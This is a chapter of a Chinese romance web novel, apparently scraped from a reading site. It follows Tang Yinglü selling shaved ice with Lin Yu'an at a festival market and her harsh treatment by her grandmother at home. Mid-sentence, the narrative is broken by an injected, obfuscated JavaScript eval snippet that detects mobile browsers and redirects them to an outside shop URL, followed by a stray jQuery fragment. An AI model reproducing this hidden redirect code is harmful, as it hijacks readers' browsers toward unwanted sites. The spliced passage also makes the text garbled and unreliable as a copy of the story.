唐影绿这回听清了。
她终于肯看他。
林予安那双黑漆漆的眼睛，不知道什么时候开始，眼底冷冰冰的劲儿已经散了大半。
唐影绿重重点了一下头：“对。”
“我知道了。”林予安转过身去，面向来往的人.流。
先是深呼了一口气，后背微微起伏了一下，然后扯出一个不怎样的笑来。
“刨冰，”林予安开口，声音清亮又不含感情，“现做现吃，清凉解暑。”
旁边的路人看了他一眼。
还是能看出来有些不耐烦，眉毛拧着，眼底一点笑也没有，奈何那张脸实在是好看，再僵硬的笑意落在那张脸上，也还是能唬住人的。
摊位前重新排满了人。
唐影绿顾不上想其他的，把所有的事都暂时抛在脑后，手里不停地让自己忙碌起来。
间歇时，唐影绿想打开手机看看时间，屏幕直接识别人脸，页面还停留在刚才林予安看的帖子上。
映入眼帘的是几条评论。
[呃，好像还真是个明星。]
[求解码？是哪个糊豆下岗再就业吗？]
[我想起来了，这好像是之前之前打架被开除的那个泳队天才少年林予安。]
“老板——”
“喂——”
“唐！影！绿！你又在发什么呆！”林予安凑到唐影绿耳边，中气十足地大喊一声。
吓得唐影绿差点把手里的手机扔出去。
林予安瞥到唐影绿的屏幕光，就知道她为什么在愣神了。直接上手锁屏，弹了一下她的额头，力没收着，唐影绿的额头肉眼可见多了一个小红点。
“我在前面牺牲色.相，你在这偷懒玩手机是吧。”
“我没有——”唐影绿的话卡在喉咙里，上不来也下不去。见林予安抬手又要弹她，又下意识捂住脑门。
所有的想法大脑里还没捋顺，想说的话还没来得及从舌尖滚出来，就感觉头顶一沉。
林予安的掌心落下来，不偏不倚不轻不重地按在她的发顶，像是恶作剧一般揉了两下。
“与其想七想八，不如想想今天的营业额。”语气还是那种懒洋洋的，玩世不恭的调子。
说完他就收回手，看都不看唐影绿一眼，转身走回摊位前。
唐影绿站在原地，发顶那点残余的触感慢慢凉下去。她抬手碰了碰被他揉过的地方，掌心贴上去的时候，不知道是不是因为太阳斜晒过来的缘故，她觉得耳朵有点热。
“刨冰再加两份！”在林予安背对着她的催促声里，唐影绿赶紧把手放下来，推开冰柜门，弯腰去盛桶里的冰沙。
余光里的林予安的衣服跟着他的动作而晃动，他没有再回头看她。
在摊位外排队的客人将刚才的一切都尽收眼底，闲聊道：“感觉你也没避雷贴里说的那么凶嘛。”
林予安侧身斜靠在桌子旁，单只胳膊撑着桌面，侧着脸瞧了一眼专注做刨冰的唐影绿，说：“还不是因为太凶被她教育了。”
客人的眼睛在两个人身上来回地转，好奇地问：“你们是情侣？”
林予安挑眉：“对啊，不像吗。”
唐影绿正巧端着两碗刨冰过来，只听到林予安的后一句，问道“像什么？”
林予安接过刨冰，递到排在前面的客人面前，说：“没什么。”
太阳彻底落山时，冰柜里的冰已经见底了。
她不能回去的太晚，于是打算提早收摊。
林予安累得半死，出门就打了辆出租车。
唐影绿安静坐在车里，划拉着手机里的账单，心里默念着今日的营业额，满眼亮晶晶的。
头抵在座椅上，身体向后仰，还是占了一大半的位置，林予安侧过头，看唐影绿被屏幕荧光照亮的脸，嘴角止不住地上扬。
“怎么样？”他问她，语气懒洋洋的。
晚风从两边的车窗灌进来，吹走了白天的燥热。
“还行。”唐影绿抿了一下嘴，然后没忍住，越笑越开心。
屏幕上方弹出蔡丝妍的对话框。
这个端午她跟着父母回老家了，不能来市集玩，她连着在微信上叨叨了许多天。
本来唐影绿以为蔡丝妍是问她市集好不好玩，结果对方发来了一连串的问号和叹号，以及一个帖子链接。
唐影绿刚打开，还没看清标题好像是什么《都散了吧臭脸帅哥居然女朋友了》之类的内容，手机突然被旁边的人抽走。
“到底赚了多少钱啊乐成这样。”
唐影绿心里紧张，没多想都跟着凑近，要把手机抢回去。
出租车颠簸了一下，她重心不稳，直接摔在林予安的身上，眼见着脸就要和他的大腿来个亲密接触，吓得唐影绿“嗷”了一嗓子，后脖领就被林予安提溜住，像拎小鸡仔一样把她提了起来。
“干嘛，”林予安打趣，“你也不能看我帅就色.诱我啊。”
唐影绿脸一热，咬着嘴就去抢她的手机。
林予安把手机换到左手，高高举起到唐影绿够不到的地方，一边去看手机上的内容：“搞什么那么神秘。”
完了。
唐影绿捂脸。
林予安眯着眼，终于看清手机上的内容。
期间，蔡丝妍的消息还在不断弹出来。
[你和林予安到底什么情况？上次问你你还说你俩没关系呢！！]
[啊啊啊啊啊宝贝你可千万别想不开啊！！]
[咱看人不能光看脸，他可是有暴力前科的！！]
林予安嗤笑一声，把手机扔回到唐影绿怀里，活动了活动脖子，说：“那些人太烦了，老追着要我微信，我就随口说你是我女朋友，被好事者发网上了，就这么个事。”
唐影绿默默收起手机，小声说：“本来我也没当真。”
林予安把头扭向窗外，强调：“你那好姐妹说得对，你可千万别喜欢我。”
过了好一会，唐影绿才说：“我知道。”
她本来就没当真，她只是怕被人误会，给林予安带去很多麻烦。
林予安总是被人误会。
-
出租车经过热闹的夜市，一路穿进狭窄的小路，在一个破旧的小区门口停下。
唐影绿下车，向林予安道谢，说要把车费A给他。
林予安胳膊架在窗沿处，往她身后探，连个正儿八经的小区大门都没有，只有个拦车的道闸，看上去非常简陋：“你们小区怎么连个灯都没有，你自己能行？”
唐影绿攥着自己的包说自己从小从这走，都习惯了。
林予安没再说什么，摆了摆手，直到看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750009|209097||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着人消失在视野内，才让司机启动。
唐影绿回家的时候，脚底还是飘着的。
一天的营业额大大超出了她的想象，比她卖一个暑假的冰棍都挣钱。
她实在是太快乐了，忘了小区有多黑，忍不住哼着不成调的歌，几乎是一路小跑到家门口。
手刚碰到门把手，门就开了。
奶奶站在黑影里，只有一双眼睛亮着。
“还知道回来，也不看看几点了！”她的声音打碎唐影绿哼出的曲子。
唐影绿赶忙换了拖鞋，把门关上，后背贴着大门，像是在罚站一样，小心翼翼说：“奶奶，我早上跟你说过了，端午这几天我在集市摆摊，回来的会晚点。”
“一个姑娘家天天不着家真是不像样子。果然大刚病了，你心就野了，这个家光靠女人根本撑不下去……”
又是这些话，总是这些话。
唐影绿默默攥紧拳头，又缓缓松开。
她深吸一口气，提拉起自己的唇角，捧着手机讨好般地举到奶奶眼前，给她看上面的数字：“奶奶，你看我今天挣了好多钱，等我这几天再努努力，我……”
奶奶看也不看，把她的手机推走：“都说了女人挣那么多钱有什么用，你妈就是太惯着你了，你说什么她都不管。男人才是家里的顶梁柱，你嫁个好男人比什么都重要。”
奶奶的声音明明很低沉，却像是一根又一根的细针，顺着她的耳朵，手臂，所有有毛孔的地方一起钻进去。唐影绿越拒绝，越挣扎，它们就扎得越使劲，越疼。
“奶奶！”唐影绿仍努力维持着笑脸，声音压抑不住地抖。
她看着奶奶眼角的皱纹，佝偻的背，瘦小的身体。
最终还是缓缓吸了一口气，声音低了下来，说：“今天爸爸还没排便吧，我去看看爸爸。”
“爸爸”这个词就像是屡试不爽的万能魔法咒语，永远能把奶奶从战斗机瞬间变成仙女教母。
奶奶说为了惩罚她回家回得晚，今晚没有她的晚饭，让她饿着肚子好好反省一晚上。
都无所谓。
睡觉前，唐影绿躺在沙发上，房间里漆黑又安静。
她又看了一遍今天的营业额，默默把手机放在胸口，紧紧捂住。
早晚有一天奶奶会理解她的。
结果第二天，唐影绿回去的更晚，奶奶直接锁了门不让她进去，任凭她怎么拍门奶奶都充耳不闻。
唐影绿就蹲坐在门口，她实在是太累了，头靠着大门就迷糊了过去。
直接把路过的邻居吓了一跳。
唐影绿磕磕绊绊说自己“忘带钥匙”，好心的邻居非要给她奶奶打电话。她知道唐影绿家有个老人，还以为她是年纪大了耳朵背没听到有人敲门。
“我故意惩罚她回家回的晚，”没想到奶奶是这么说的，“你不用管她。”
邻居和唐影绿相互尴尬地笑了笑。
恍惚间，唐影绿隐约听到邻居嘀咕了一句：“真是一家子神经病。”
唐影绿看着邻居离开，楼道里重新陷入黑色，她默默坐回到大门口，争分夺秒地休息。
最后，还是半夜奶奶起夜，把她放了进去。
如此这样，到了第三天，林予安终于忍无可忍，盯着她的脸很严肃地问：“唐影绿，你眼袋怎么越来越重了。”